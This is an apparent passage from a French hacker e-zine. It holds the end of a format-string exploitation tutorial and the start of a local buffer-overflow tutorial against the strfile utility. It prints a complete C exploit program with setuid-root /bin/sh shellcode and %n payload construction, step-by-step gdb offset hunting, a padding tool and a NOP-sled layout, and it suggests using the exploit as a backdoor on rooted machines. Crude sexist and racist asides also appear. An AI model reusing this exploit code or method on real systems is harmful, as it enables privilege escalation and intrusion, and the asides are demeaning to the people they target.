notre retadr, et d'ainsi l'endroit où notre shellcode va être entreposé : 
	
guaylejs@ariel [~/codez/format_string/mindkind2]$ ./lib 101 1 0x0804963c 0xbffffdaa 2

[...]

bash$

Vous commencez sûrement à piger le concept ! 	

Bref, avec cette technique, le seul  offset que nous avons à trouver,  c'est le
retloc.  Notre shellcode, nous pouvons le placer où nous voulons en mémoire, en
s'assurant bien  sûr que  nous avons  le droit  d'écrire à  cet endroit dans la
mémoire, et que nous n'écrasons pas de valeurs importantes pour ne pas déranger
le déroulement  du programme,  du moins  jusqu'à temps  que nous  saisissons le
contrôle sur celui-ci.


--[ Conclusion

Malgré le  fait que  les attaques  par format  string se  font de  plus en plus
rares,  il  reste  toujours  intéressant  de  jouer  avec  une  telle   méthode
d'exploitation, car elle est très flexible et nous pouvons faire pas mal ce que
nous voulons en mémoire.   En espérant que cet  article vous a ouvert  l'esprit
sur l'exploitation et qu'il vous a aussi donné le goût d'en savoir plus...	

--[ Le code

--[ lib.c
/*

   Cette version du programme nous permettra d'écrire un shellcode en mémoire
   et de prendre le contrôle du programme à l'aide d'un format string attack.

   Pour écrire en mémoire une string de votre choix, (strcpy improvisé), veuillez
   échanger le main () qui suit avec le main () en commentaires à la fin du code.

   Codé par g463

*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define DUMMY  0xbabebabe      // si taimes les lesbi.
//#define DUMMY 0xdeadbabe     // ou la necrophilie...
#define SEARCH 0x41414141

char sc_linux[] =
                "\x33\xc0\x31\xdb\xb0\x17\xcd\x80"
                "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"
                "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

#define ALIGN_MODE   1
#define EXPLOIT_MODE 2

char *write_4 (char *buffer, long what);
char *search_dist (char *buffer, int dist);
void write_sc_fmt (char *buffer, int dist, int align, int retloc, int retadr, char
*what, int mode);
void write_string_fmt (char *buffer, int dist, int align, int retloc, char *what, int mode);
void usage (char *progname);

int 
main (int argc, char *argv[]) {

   char *buffer = (char *) malloc (4096);
   int i, j;
   int retloc, retadr;

   if (argc != 6)
      usage (argv[0]);

   memset (buffer, 0x42, sizeof (buffer));

   retloc = strtoul (argv[3], NULL, 16);
   retadr = strtoul (argv[4], NULL, 16);

   write_sc_fmt (buffer, atoi (argv[1]), atoi (argv[2]),
                     retloc,
                     retadr,
                     sc_linux,
                     atoi (argv[5]));

   // Make sure the lenght of our buffer is always fixed
   for (i = 0; i < 4096; i++)
      if (buffer[i] == 0x0) buffer[i] = 0x42;
   buffer[i] = 0x0;

   execl ("./test", "test", buffer, (char *) 0);

   return 0;
}

char *write_4 (char *buffer, long what) {

   int i = 0;

   buffer[i++] = (what & 0x000000ff);
   buffer[i++] = (what & 0x0000ff00) >> 8;
   buffer[i++] = (what & 0x00ff0000) >> 16;
   buffer[i++] = (what & 0xff000000) >> 24;

   return (char *) &buffer[i];
}

char *search_dist (char *buffer, int dist) {

   int i;
   char pop_it[] = ".%8x";

   for (i = 0; i < dist; i++)
      strcat (buffer, pop_it);

   return (char *) (buffer + (strlen (pop_it) * dist));
}

void write_sc_fmt (char *buffer, int dist, int align, int retloc, int retadr, char *what, int mode) {


   char *ptr = buffer, *what_ptr;
   int written_bytes = 0, write_byte, padding;
   int i;

   for (i = 0; i < align; i++) {
      buffer[i] = '.';
      written_bytes++;
      ptr++;
   }

   ptr = write_4 (ptr, SEARCH);
   written_bytes += 4;

   // Pushons les adresses pour notre retadr
   for (i = 0; i < 4; i++) {
      ptr = write_4 (ptr, DUMMY);
      ptr = write_4 (ptr, retloc+i);
   }
   written_bytes += (4 * (i * 2));

   // Pushons les adresses pour notre string
   for (i = 0; i < strlen (what) + 1; i++) {
      ptr = write_4 (ptr, DUMMY);
      ptr = write_4 (ptr, retadr+i);
   }
   written_bytes += (4 * (i * 2));

   ptr = search_dist (ptr, dist);
   written_bytes += (dist * 9);

   what_ptr = what;
   for (i = 0; i < (strlen (what) + 1 + 4); i++) {

      if (i < 4) {
         write_byte = (retadr & 0x000000ff) + 0x100;
         retadr = retadr >> 8;
      } else {
         write_byte = what_ptr[i-4] + 0x100;
      }

      written_bytes %= 0x100;

      padding = (write_byte - written_bytes) % 0x100;

      if (padding < 14)
         padding += 0x100;

      ptr = buffer + strlen (buffer);

      if (mode == ALIGN_MODE)
         sprintf (ptr, "%%%dd%%x", padding);
      else
         sprintf (ptr, "%%%dd%%n", padding);

      written_bytes += padding;
   }
}

void write_string_fmt (char *buffer, int dist, int align, int retloc, char *what, int mode) {

   char *ptr = buffer, *what_ptr;
   int written_bytes = 0, write_byte, padding;
   int i;

   for (i = 0; i < align; i++) {
      buffer[i] = '.';
      written_bytes++;
      ptr++;
   }

   ptr = write_4 (ptr, SEARCH);
   written_bytes += 4;

   for (i = 0; i < strlen (what) + 1; i++) {
      ptr = write_4 (ptr, DUMMY);
      ptr = write_4 (ptr, retloc+i);
   }
   written_bytes += (4 * (i * 2));

   ptr = search_dist (ptr, dist);
   written_bytes += (dist * 9);

   what_ptr = what;
   for (i = 0; i < (strlen (what) + 1); i++) {

      write_byte = what_ptr[i] + 0x100;

      written_bytes %= 0x100;

      padding = (write_byte - written_bytes) % 0x100;

      if (padding < 14)
         padding += 0x100;

      ptr = buffer + strlen (buffer);

      if (mode == ALIGN_MODE)
         sprintf (ptr, "%%%dd%%x", padding);
      else
         sprintf (ptr, "%%%dd%%n", padding);

      written_bytes += padding;
   }
}

/*

int
main (int argc, char *argv[]) {

   char *buffer = (char *) malloc (4096);
   int i, j;
   int retloc;

   if (argc != 6)
      usage (argv[0]);

   memset (buffer, 0x42, sizeof (buffer));

   retloc = strtoul (argv[3], NULL, 16);

   write_string_fmt (buffer, atoi (argv[1]), atoi (argv[2]),
                     retloc,
                     argv[4],
                     atoi (argv[5]));

   // Make sure the lenght of our buffer is always fixed
   for (i = 0; i < 4096; i++)
      if (buffer[i] == 0x0) buffer[i] = 0x42;
   buffer[i] = 0x0;

   execl ("./test", "test", buffer, (char *) 0);

   return 0;
}

*/

--] eof

--[ Références

[1] : Wu-ftpd exploit
http://packetstormsecurity.nl/9903-exploits/wu-ftpd-beta18-root.txt

[2] : Sudo exploit
http://www.synnergy.net/downloads/exploits/vudo.c

[3] : Format String exploitation
http://www.team-teso.net/releases/formatstring-1.2.tar.gz

[4] : Documentation ELF
http://www.muppetlabs.com/~breadbox/software/ELF.txt

--[ Remerciements pour cet article

* à #mindkind, pour le support, l'entraide, l'énergie et surtout leur patience ;)
* à #2e2h pour l'entraide et les idées sur les format strings attacks




            ___                                                           ___
     .----/   /----------- ---------- --------- - -- - - --- -----------/   /
     |   /   /                                                         /   /|
     :  /   /                                                         /   / :
     | /   /                g463@mindkind.org                        /   /  |
     |/   /                                                         /   /   | 
     /___/-- ---------- -----  ----------------- - ------- -- --- -/___/----'




                                                                          
 Mindkind Nord-Korean                                                     
 Nuclear Facility.                                                        
 Producing EliteActive E-zine                                             
 ... And some usefull mass-destruction weapon ...                         
                                                                          
                  ############################                            
                    ###``````````````````###                              
                      ##````````````````##                                
                       #````````````````#                                 
                       #```````````````############################       
                       #````````````````####``````````````````###         
                       #````````````````#  ##````````````````##           
                       #````````````````#   #````````````````#            
                       #````````````````#   #````````````````#            
                       #````````````````#   #````````````````#            
                      ##````````````````##  #````````````````#            
                    ###``````````````````####````````````````#            
                  ####````````````````````###````````````````#            
              ######````````````````````````#````````````````#            
           ##################################````````````````##           
    ,,,,,,,,,,,,,,,,,,,,,,,,,,,          ###``````````````````###         
   /                         /|        ####````````````````````####       
  +-------------------------+ |    ######````````````````````````######   
  |                         | | ##########################################
  | [] [] [] [] [] [] [] [] | |  ,,,,,,,,,,,,,,,,,,,,,,,,,,,              
  |                         | | /                         /|              
  | [] [] [] [] [] [] [] [] | |+-------------------------+ |              
  |                      +--| ||                         | |              
  | [] [] [] [] [] [] [] |oo| || [] [] [] [] [] [] [] [] | |              
  |                      | '|/ |                         | |              
  '''''''''''''''''''''''''''  | [] [] [] [] [] [] [] [] | |              
                               |                      +--| |              
                               | [] [] [] [] [] [] [] |oo| |              
                               |                      | '|/   -init_null  
                               '''''''''''''''''''''''''''                
                                                                          
                                                                          


                                                        __ ______
            __    __  __  _ ___   __       _  _   _   _\_ _  _   \
           /  \  /  \ \ \ \  _ \ \ .\     | |/ / / / / _  / /.\   \
     .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----|   < /_/-/_//_/\/__/    \-  ------. 
     :    \ \ \__/ / /                    |_|\_\           \        \        : 
     ,     \/      \/                                       \        \       |
     :                                                       \        \      .
     . 11.09  Buffer Overflow pour les 0x90                   \        \     !
     .             aka                                         \        \    .
     ;   When doing a local buffer overflow is easier than      \        \   :
     :   finding a girlfriend                                    \        \  :
     '-- -----  - -------- --- --------- - --  ------------- --- -\        \-'
                                                                   \____ _ _\
                                                     

Cet article  traitera de  comment faire  un buffer  overflow sur  un exécutable
linux i386  ia32 local.  Contrairement aux  articles déjà  paru sur les buffers
overflow de type local, nous n'utiliserons pas d'exemple préfab. Nous tenterons
(et  réussirons)  d'exploiter  strfile,  un  utilitaire  du  package  bsd-games
(fortune cookie) dans un environnement linux slackware 8.0 . L'accent sera  mit
sur le comment plus que le pourquoi,  le but de cet article étant de  démontrer
en milieu réel la création d'un exploit de type buffer overflow local. Là où ça
se   passe   vraiment  quoi.   Des  connaissances     minimums   en     système
d'exploitation linux et en programmation  (les codes présentés ici seront  en C
et ASM, mais la non-connaissance de ces langages n'entraîne pas automatiquement
une non-compréhension de cet article, il est tout à fait possible de comprendre
les  exemples donnés  si vous  pratiquez déjà  la programmation  sous un  autre
langage). Vous pouvez donc voir cet article comme une vulgarisation des buffers
overflow. L'accent  sera donc  mit sur  ce qui  est important  pour réussir. Je
proposerais aussi une solution tout en un qui permettra d'exploiter la  plupart
des buffers overflow d'argument local  avec un seul exploit. Strfile  n'est pas
suid root, mais  on peut se  servir de cet  exploit comme une  backdoor sur une
machine déjà rooté.

L'article sera  séparé en  2 parties  majeures, la  première partie, théorique,
récapitule de façon généralisé ce qui est nécessaire de savoir. Cette théorie a
déjà été expliqué de différentes façons, je la reprends donc ainsi a la  mienne
en tant qu'introduction à l'exploit de  strfile. Nous en venons donc à  la 2ème
section  qui traitera  de l'exploitation  de strfile  de façon  pratique et  se
terminera par la confection d'un exploit en C.


La théorie

Un buffer overflow  se produit lorsqu'on  tente d'écrire en  mémoire le contenu
d'une variable dont la grandeur en  bytes dépasse celle prévue à cet  effet par
le  programme  lui-même.  Les  données qui  se  retrouverons  en  surplus iront
réécrire par dessus les  valeurs précédentes dans la  stack (la stack étant  la
partie de  mémoire où  sont stockés  les arguments  et les  variables locales).
Pourquoi celle  qui  précède  ? Et   bien car  dans la  stack tout  ce qui  est
inscrit débute à la fin, un  peu comme lorsqu'un arabe écrit. Donc  la première
variable à  entrer sera  à la  fin de  la stack.  Ensuite la  deuxième variable
viendra s'ajouter  "en dessous".  Mais pourquoi  donc si  la 2ème  variable est
overflowée son contenu viendra se déverser dans la première ? Et bien c'est que
dans chaque variable  le contenu est  écrit du bas  vers le haut  dans l'espace
allouée à cette variable.


wtf ?
Un ascii s'impose afin de mieux digérer tout ça.


End of user Memory
,----------------,
|                |   bon la stack est la zone situer à la fin de la mémoire
|  S       |     |   allouée par le OS à un process. Dans cette zone sont 
|  T       |     |   situées toute les variables utilisées par le process.
|  A       |     |   Pour une procédure qui contient 4 variables, la première
|  C       |     |   s'installera dans le haut de la stack la 2ième viendra
|  K       |     |   ensuite en dessous de la première et la 3ième en dessous
|          |     |   de la 2ième et ainsi jusqu'à la fin.
|          |     |   
|         \ /    |
|          '     |
|________________|


      End of user Memory
      ,----------------,
      |1ère procédure  |    
S  |  | var1 / \       |    
T  |  | var2  |        |    
A  |  | var3  |        |    
C  |  | var4  |        |    
K  |  |________________|    
   |  |2ième procédure |    
   |  | var1 / \       |    
  \ / | var2  |        |
   '  | var3  |        |
      | var4  |        |
      |                |
      





        ____         ,-------------------------------------------------
       /    \        |  Bien que ça ne soit pas nécessaire à la réussite
      |  _   |       |  d'un buffer overflow local, certains d'entre vous
      | / \  |       |  aimeraient sans doute avoir un supplément 
      ||   | |      /   d'information sur la stack et l'organisation de la
      (.) (.)|     /    mémoire en général. 
      ||   | |    <__  
      ||   | | |     |  Pour chaque process (un process étant un programme
      ||   | | |     |  s'exécutant) une zone de mémoire virtuelle de
      |____/|| |     |  4 gig est définie. Cette zone est divisée en 2,
      |\___/ | |     |  l'espace kernel et l'espace user. C'est avec l'espace
      ||   | | |     |  user que nous aurons affaire dans cet article.
      ||   | | |     |  Voici donc à quoi ressemble la totalité de la 
      ||   | | |     |  mémoire. 
      ||     | |       
      | \___/  |      
      |        |        ,----------------,
       \______/         | K              | Cette zone mémoire n'est accessible
                        | E              | que par le kernel, il est impossible
                        | R              | pour un user d'y lire ou d'y écrire.
                        | N    S         | 
                        | E    P         |
                        | L    A         |
                        |      C         |
                        |      E         |
                        |                |
                        |                |
                        |                |
                        |                |
                        |________________|
                        |		 | C'est dans la stack que sont storées
                        |          |     | les arguments et les variables locales 
                        |  STACK   |     | d'une procédure, chaque procédure  
                        |         \ /    | d'un programme dispose de son endroit 
                        |          '     | dans la stack qui est appelé
                        |         / \    | "FRAME". c'est à l'intérieure d'un
                        |  HEAP    |     | de ces frames que nous ferons notre
                        |          |     | buffer overflow. Le heap sert à 
                        |________________| storer les vars dynamiques ex :malloc().
                        |  BSS           | c'est dans le bss que se retrouve
                        |________________| les données globales non initialisées.
                        |  DATA          | le data est défini par les 
                        |________________| constantes.
                        |  TEXT          | C'est dans le segment text que se
                        |________________| trouve le code à exécuter. Cette
                                           partie est unwritable. 


                        La  mémoire  réservée  à la  stack  débute  à l'adresse
                        0xbfffffff. En fait,  il s'agit de  la fin de  l'espace
                        user puisque la stack se lit a l'envers du reste de  la
                        mémoire. Tel que démontré dans le graphique. Bref qu'on
                        dise que  la user  space fini  a 0xbfffffff  ou que  la
                        stack débute à 0xbfffffff, c'est la même chose. 

                        Dans la  stack les  données s'empilent  vers le  bas en
                        suivant la loi fondamentale, last in first out. C'est à
                        dire que le dernier entré est le premier à en sortir. 
 

Bon, tout ça est bien beau, mais a quoi ça sert ? 

He bien, lors de la création d'une procédure, le système se donne 2 indices qui
lui  permettrons de  se repérer  par la  suite. Il  s'agit de  2 registes,  qui
contiennent les  endroits en  mémoires ou  retourner lorsque  la procédure aura
fini d'être appliquée, il se retrouve au début de la procédure auquel ils  sont
rattachés, avant les variables.. ces registres sont appelés en ASM eip et  ebp.
Ainsi donc, lorsqu'on enverra par  argument à la variable une  valeur dépassant
la grandeur réservée en mémoire de celle ci nous pourrons réécrire la valeur de
eip et nous le redirigerons à l'adresse mémoire où nous avons créé notre buffer
overflow dans lequel nous aurons  introduit un shellcode. Le shellcode  est une
suite d'instructions ASM  qui "généralement" sert  à exécuter /bin/sh  avec les
privilèges du programme que nous exploitons. 


wtf ?



        End of user Memory
      ,------------------,
      |1ère procédure eip|    Donc en temps normal, dans eip est 
S  |  |               ebp|    indiqué l'adresse ou devra retourner
T  |  |                  |    en mémoire pour continuer l'exécution
A  |  |          var1 / \|    du programme. Nous, en faisant un buffer
C  |  |          var2  | |    overflow, nous disposons de la grandeur
K  |  |          var3  | |    du buffer pour écrire un programme
   |  |          var4  | |    que nous ferons exécuter en modifiant
   |  |__________________|    eip à la fin de notre buffer overflow
  \ / |2ème procédure eip|    pour qu'il "continue" dans notre code
      |               ebp|    a nous que nous avons injecté dans la
      |                  |    variable via le passage d'un argument.
      |          var1 / \|    autrement dit, si notre buffer se situe
      |          var2  | |    dans la 3ième variable de la première
      |          var3  | |    procédure, nous devrons écraser le
      |          var4  | |    contenue des 2 premières variables afin
                              d'accéder au eip.  


Qu'est-ce que eip et ebp ?

eip et ebp  sont 2 registres  qui contiennent des  adresses hexadécimales d'une
grandeur de 4 bytes. ebp ,  extended base pointer, aussi appelé frame  pointer,
c'est dans ebp que se trouve la  location en mémoire du frame précédant. eip  ,
extended instruction  pointer réfère  à l'adresse  où le  programme doit jumper
pour continuer sainement  son exécution. C'est  le eip qui  nous intéresse, car
c'est en modifiant cette valeur  que nous pourrons indiquer au  process d'aller
lire notre shellcode plutôt que de continuer sont exécution tel que prévu.
 

Pourquoi ?

Certaines fonctions en C  ne prennent pas compte  de la grandeur des  variables
qu'ils copient en  mémoire, la plus  connu est strcpy(),  c'est généralement de
strcpy() qu'on se  sert dans les  textes qui traitent  de buffer overflow  pour
créer  un  environnement  exploitable artificiel.  Parmi  les  autres fonctions
vulnérables,  on  retrouve  strcat(),  sprintf(),  vsprintf(),  gets(),  et les
*scanf(), d'autres fonctions peuvent mener à un buffer overflow dépendamment de
leur utilisation. 


Exemple :


#include <stdio.h>




main (int argc, char *argv[])
	{

	char buffer1[20];
	char buffer2[256];

	
	if (argc > 2)
		{
		strcpy(buffer1,argv[1]);
		strcpy(buffer2,argv[2]);
		}
		else 
		{
		printf("this crap needs 2 arguments\r\n");
		}
	}


Donc dans ce code, si  l'on passe en argument à  buffer1 une valeur de plus  de
256 bytes, le surplus va déborder dans buffer2 et le programme va continuer son
exécution  normalement  (puisque  ce  code  ne  s'attend  à  aucune  valeur  en
particulier  et  ne  fait  rien  d'autre  que  de  copier  arg1  en  mémoire (a
l'intérieur de buffer1).  

Nous allons donc essayer à l'aide de gdb et d'une fonction pratique en Perl  de
trouver à  quel endroit  se trouve  le eip  du code  précédant. Lorsque se sera
fait, nous pourrons nous attaquer à strfile et créer l'exploit.

Le caractère "`" permet de passer une autre commande en argument, c'est donc le
résultat de la commande entre ``  qui apparaîtra et non la commande  elle même.
Perl possède  le même  genre de  caractère "'"  qui permet  les même fonctions,
comme c'est 2 balises sont différentes, il nous est donc possible de passer  le
résultat  d'une commande  à une  autre commande  afin d'arriver  à un  résultat
global.


Ex: 

[encoder@localhost encoder]$ echo `perl -e 'print "A"x20'`
AAAAAAAAAAAAAAAAAAAA
[encoder@localhost encoder]$

Ainsi  nous avons  passé en  commentaire à  la commande  echo 20  A. Nous  nous
servirons de cette particularité afin de construire nos buffers tests qui  nous
servirons à identifier le nombre de bytes nécessaire pour réécrire eip.


[encoder@localhost test]$ gdb test2 -q
(gdb) r `perl -e 'print "B"x20'` `perl -e 'print "A"x304'`
Starting program: /home/encoder/hack/test/test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x304'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) p $eip
$1 = (void *) 0x41414141
(gdb)

(41 étant la valeur hexadécimal de A, on sait donc ainsi qu'on a réécrit 4  "A"
sur la valeur de eip)

Comment savoir le nombre de bytes nécessaire pour remplir un buffer ? He  bien,
il suffit de compter.

eip(4bytes) + ebp(4bytes) + int argc(4bytes) + 
char* argv[1](3 x 4bytes (2 argument + prog name)) + buffer1(20bytes) +
buffer2(256bytes) 

donc 4 + 4 + 4 + 12 + 20 + 256 = 300

Je dois spécifier que je travail sur un système red hat, et que red hat afin de
se protéger des nombreux  exploits déjà existant a  son égard fait ajouter  une
valeur de  4 bytes  après le  ebp. Ainsi  donc nous  arrivons enfin à notre 304
bytes de buffer.  Sous un système  slackware, comme nous  tenterons d'exploiter
plus tard, notre buffer aurait été de 300bytes.

Il faut aussi  savoir que dans  la stack toute  les variables sont  paddées a 4
bytes. Donc  toute les  buffers auront  nécessairement un  multiple de  4 comme
grandeur.

Une autre façon plus brainless de trouver la réponse aurait été de  bruteforcer
carrément la grandeur du buffer.

[encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x256'`
[encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x266'`
[encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x276'`
[encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x286'`
[encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x296'`
[encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x306'`
Segmentation fault (core dumped)
[encoder@localhost test]$ gdb -c core.11024 -q
Core was generated by `./test2 BBBBBBBBBBBBBBBBBBBB AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
(gdb) quit

306 n'étant pas un multiple de 4, nous pouvons savoir qu'il est impossible  que
le eip soit correctement écrasé avec un padding de la sorte.

[encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x300'`
Segmentation fault (core dumped)
[encoder@localhost test]$ gdb -c core.11032 -q
Core was generated by `./test2 BBBBBBBBBBBBBBBBBBBB AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0  0x42015800 in ?? ()
(gdb) quit

A 300 on ne retrouve pas nos  AAAA (41414141) c donc dire que nous  n'avons pas
réécrit eip.

[encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x304'`
Segmentation fault (core dumped)
[encoder@localhost test]$ gdb -c core.11040 -q
Core was generated by `./test2 BBBBBBBBBBBBBBBBBBBB AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
(gdb)

Ici à 304 nous  nous rendons compte que  nous avons effectivement réécrit  eip,
afin de  nous assurer  que nous  ne nous  sommes pas  trompé nous allons donner
comme argument un padding de  300 A et de 4  Z afin de s'assurer que  s'assurer
que les 4 derniers bytes de notre buffer overflow recouvre bien le eip.

[encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x300'`ZZZZ
Segmentation fault (core dumped)
[encoder@localhost test]$ gdb -c core.11743 -q
Core was generated by `./test2 BBBBBBBBBBBBBBBBBBBB AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0  0x5a5a5a5a in ?? ()
(gdb)

Operation successfull, on vient de trouver le eip. 



        ____         ,-------------------------------------------------
       /    \        |  Certain d'entre vous qui connaissent mal ou pas
      |  _   |       |  du tout GDB apprécieraient sûrement une petite 
      | / \  |       |  explication de ce qui c'est passé ici.
      ||   | |      /   
      (.) (.)|     /    
      ||   | |    <__   gdb est un programme disponible sur la plupart
      ||   | | |     |  des systèmes d'exploitation qui permet de gérer
      ||   | | |     |  l'exécution de binary, daller lire les segments
      |____/|| |     |  de mémoires,  de  connaître  le  contenu   des 
      |\___/ | |     |  registre, d'exécuter un binary en traçant des
      ||   | | |     |  breakpoints afin de pouvoir débuguer directement
      ||   | | |     |  certaines sections. gdb permet aussi d'obtenir des
      ||   | | |     |  dump en asm AT&T des différentes procédures et
      ||     | |        fonction d'un code donner, et peut même dans le
      | \___/  |        cas d'un programme compilé spécifiquement pour
      |        |        gdb de présenter le code original en C à partir
       \______/         du binary.       
       
                        Un   article   entier   pourrais   être   consacré    à
                        l'utilisation de  gdb, comme  il ne  s'agit pas  du but
                        recherché ici, je vais me contenter de survoler ce  qui
                        est nécessaire pour comprendre cette article et  parler
                        de  quelques  commandes de  base  qui peuvent  s'avérer
                        intéressantes.

                        
                        afin  d'utiliser  gdb  pour  gérer  un  programme   qui
                        segfault, il faut créer un core au moment du  segfault.
                        c'est  ce  core  que  nous  utiliserons  via  gdb  pour
                        "debugger" notre application. pour faire créer un  core
                        il suffit de faire la commande 
                        
                        ulimit -c 100000 
                        
                        (ce n'est  pas nécessaire  de la  refaire avant  chaque
                        exécution, une fois suffit, tant que vous demeurez dans
                        le même  shell). pour  lancer gdb  avec un  coredump il
                        suffit de lancer la commande suivante                        
                        
                        gdb -c core 
                        
                        (ici   core   peu   présenter   quelques    différences
                        dépendamment  du  os  ou même  de  la  distro que  vous
                        utiliser. par  exemple sous  slackware la  dénomination
                        est simplement core  tandis que sous  redhat un id  est
                        ajouté en extension  ce qui donne core.10045 (genre).

                        
                        Une autre façon est de lancer gdb avec le programme 
                        a débuguer en paramètre, ex:
                        
                        gdb test 
                        
                        
                        Ensuite à l'intérieur de  gdb il suffit de  taper"r" ou
                        "run" pour que l'application s'exécute. Il est possible
                        de passer  des paramètres,  de la  même façon  que vous
                        feriez si  vous lanceriez  le programme  à partir  d'un
                        shell. C-a-d  que vous  tapez r  suivit des  arguments.
                        Encore la comme dans un shell il est possible d'insérer
                        des  résultats de  commande en  argument à  l'aide des
                        balises ``.

                        Vous   aurez   sûrement   remarqué   l'utilisation   de
                        l'option -q  au démarrage  de gdb.  Cette option enlève
                        simplement le header de gdb (du text pas trop important
                        et très redondant à la longue).
                        
                        
                        Pour de l'aide, taper help, (classique)
                        
                        Quelques autres commandes vous serons sûrement utile
                        
                        p (print) : permet de printer la valeur d'un registre
                        
                        
                        ex : p $eip 
                        
                        donnera la valeur de eip. noter que pour l'utilisation
                        de "p" le registre mit en option doit être débuter par
                        le caractère $.
                        
                        
                        info registers : donne la liste et la valeur de chaque
                                         registre
                                       
                        
                        disassemble : permet de donner un dump asm d'une 
                        	      procédure ou d'une fonction
                        	      
                        ex : disassemble main
                        
                        donnera le code en asm de votre fonction main
                        
                        
                        	       
                        x/12 : permet  d'afficher  le  contenu  hexadécimal  de 
                               la mémoire en diviser en section de 12 groupe de
                               4  bytes,  faire  enter  pour  remonter  dans la
                               mémoire.  x/12  a  besoin  comme  paramètre  une
                               adresse hexadécimal de ou commencer à lire.
                               
                               
                        ex : (gdb) x/12 0xbffff830
                        
                        
                        donnera un résultat qui ressemble a ceci 
                               
     0xbffff830:     0x00000000      0xbffff874      0xbffff884      0x400124b8
     0xbffff840:     0x00000003      0x080482ac      0x00000000      0x080482cd
     0xbffff850:     0x0804835c      0x00000003      0xbffff874      0x08048254
                           
                        
                        Où la première colonne représente l'adresse hexadécimal
                        de la première bytes de la 2ième colonne. (0x stand for
                        hexadecimal use).
                        
                        
Et maintenant, passont à la pratique.

Comme dit précédemment, le  but de cette article  est de créer un  exploit pour
strfile sous linux  slackware 8.0 .   La  première  étape   est  de trouver  la
grandeur du buffer exploitable. Pour ce faire, vu que nous ne disposons pas  du
source code,  nous procéderons  par un  petit bruteforce.  Pour ce  faire, nous
n'utiliserons pas la commande de perl montrer plus haut, mais un petit tool  en
C qui fait exactement la même chose, en moins long à taper. 


//pad.c  
//use it to find the buffer lenght
#include <stdio.h>

main(int argc,char* argv[]) {
        int x;
        if (argc > 1)
        {
        // A X nbr argument(argv[1]) (perl -e 'print "A"x300') (0x42)
                for (x=0;x<atoi(argv[1]);x++)
                        printf("B");
        }
        // ret (%eip = 0x41414141)
        printf("AAAA");
}


Ce code output un nombre  de B qu'on passe en  argument et ajoute 4 A  à la fin
(ainsi si on voit un 42 dans le  eip, on sait que notre buffer est trop  grand.
Donc au lieu de faire :


strfile `perl -e 'print "B"x5000'`AAAA


Il suffit de faire


strfile `./pad 5000`


Vous comprendrez que j'ai compilé mon  code sous le nom de pad  (pour padding).
avec 5000 de  padding on tombe  sur un segmentation  fault, ce qui  nous laisse
permettre  croire qu'on  a réécrit   eip,  sauf  que l'adresse  qu'on a  ajouté
pointe vers rien  d'exécutable. avec un  pad de 4000  strfile ne segfault  pas.
avec la méthode d'essaie et erreur, nous pouvons arriver a un padding de 4148.


root@Rewter:~/tool# ulimit -c 10000
root@Rewter:~/tool# strfile `./pad 4148`
Segmentation fault (core dumped)
root@Rewter:~/tool# gdb -c core -q
Core was generated by `strfile BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
(gdb)


On voit ici que eip a été écrasé par nos 4 A. nous avons donc la bonne grandeur
de  buffer,  il ne  nous  reste plus  qua  construire un  exploit.  La première
question a se pauser après avoir su la grandeur de notre buffer c'est qu'est-ce
qu'on va mettre dedans ? voici un petit graphique qui représente ce a quoi aura
l'air notre buffer un coup fini.


,----------------------------------------,-------------------,-------------,
|                                        |                   |             |
| nop(0x90)(4148 - shellcode - eip bytes)| shellcode(X bytes)| eip(4bytes) |
'________________________________________'___________________'_____________'



nop(0x90) : il s'agit d'un code hexadécimal (0x90) qui signifie en  assembleur,
            passe au suivant.  nous nous en  servons pour remplir  notre buffer
            afin  d'avoir une  zone plus  ou moins  grande dans  la quel  nous
            pourrons jumper. Bref  on se garde  une marge de  manœuvre dans les
            adresse  sur  lesquels nous  pouvons  jumper (eip)  pour  que notre
            exploit  s'exécute  sans  erreur. Peu  importe  ou  nous jumpons  a
            l'intérieur du padding de nop, nous sommes sur d'en arriver a notre
            shellcode.
	  
	  
shellcode : le  shellcode  est  une  suite  dinstruction  en   assembleur   qui 
            exécute un shell, soit  /bin/sh dans la plus  par des cas. Dans  le
            cas d'un  exploit root,  on doit  aussi rajouter  un petit  code en
            assembleur qui fait l'équivalent de  "set uid 0". Des shellcode  on
            été écrit  pour les  différentes architecture  existante, nous nous
            contenterons d'en copier un déjà fait. comme notre exploit se  fait
            en local,  nous n'avons  pas a  nous inquiéter  qu'un ids  perçoive
            notre shellcode  dans une  suite de  packet. (la  plus par  des ids
            block  les  exploits  en  reconnaissant  les  différents shellcodes
            existant, pour bypasser cette défense il est possible de construire
            les shellcode polymorphique. mais  comme nous sommes en  local nous
            n'en  traiteront pas  dans cet  article. connaître  la grandeur  de
            notre shellcode  n'est pas  particulièrement important,  puisque le
            code de notre exploit  gérera tout ceci. il  est bon de savoir  par
